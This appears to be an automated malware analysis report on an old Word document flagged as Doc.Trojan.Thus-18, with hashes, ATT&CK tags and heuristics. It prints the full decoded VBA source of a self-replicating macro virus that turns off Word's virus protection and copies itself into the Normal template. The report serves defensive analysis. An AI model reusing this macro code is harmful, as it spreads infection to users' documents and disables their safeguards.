Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 513b9e06a145af4f…

MALICIOUS

Office (OLE)

33.0 KB Created: 2006-02-22 14:26:00 Authoring application: Microsoft Word 9.0 First seen: 2012-10-10
MD5: d7614c11487799a4470970156802d8a5 SHA-1: 5952169f690b8e020805303a154aa5f3189b31c1 SHA-256: 513b9e06a145af4f3ed3c7e805c775a32145259eacc10498fdfb73687d6f8c11
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro designed to infect the Normal.dot template. This indicates an attempt to establish persistence or spread further infection. The ClamAV detection 'Doc.Trojan.Thus-18' further supports the malicious nature of the file.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-18
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1182 bytes
SHA-256: 730386d1933991e603e33bf57af056c5eeeae94a00f36e1c3ff39039551b062e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Please do NOT modify this file !
Private Sub Document_Open()
On Error Resume Next

Options.VirusProtection = False

Set ad = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set nt = NormalTemplate.VBProject.VBComponents(1).CodeModule

Dim mark As String
mark = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1)
If mark = "'Please do NOT modify this file !" Then
MsgBox ("Document infected!!!")
 ad.DeleteLines 1, ad.CountOfLines
 ad.InsertLines 1, nt.Lines(1, nt.CountOfLines)
Else
MsgBox ("Template infected!!!")
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, nt.CountOfLines
nt.InsertLines 1, "'Please do NOT modify this file !"
nt.InsertLines 2, ad.Lines(2, ad.CountOfLines)

NormalTemplate.Save
ActiveDocument.Save
' [MOT] (C) Dr.Copy 1999

End If




End Sub

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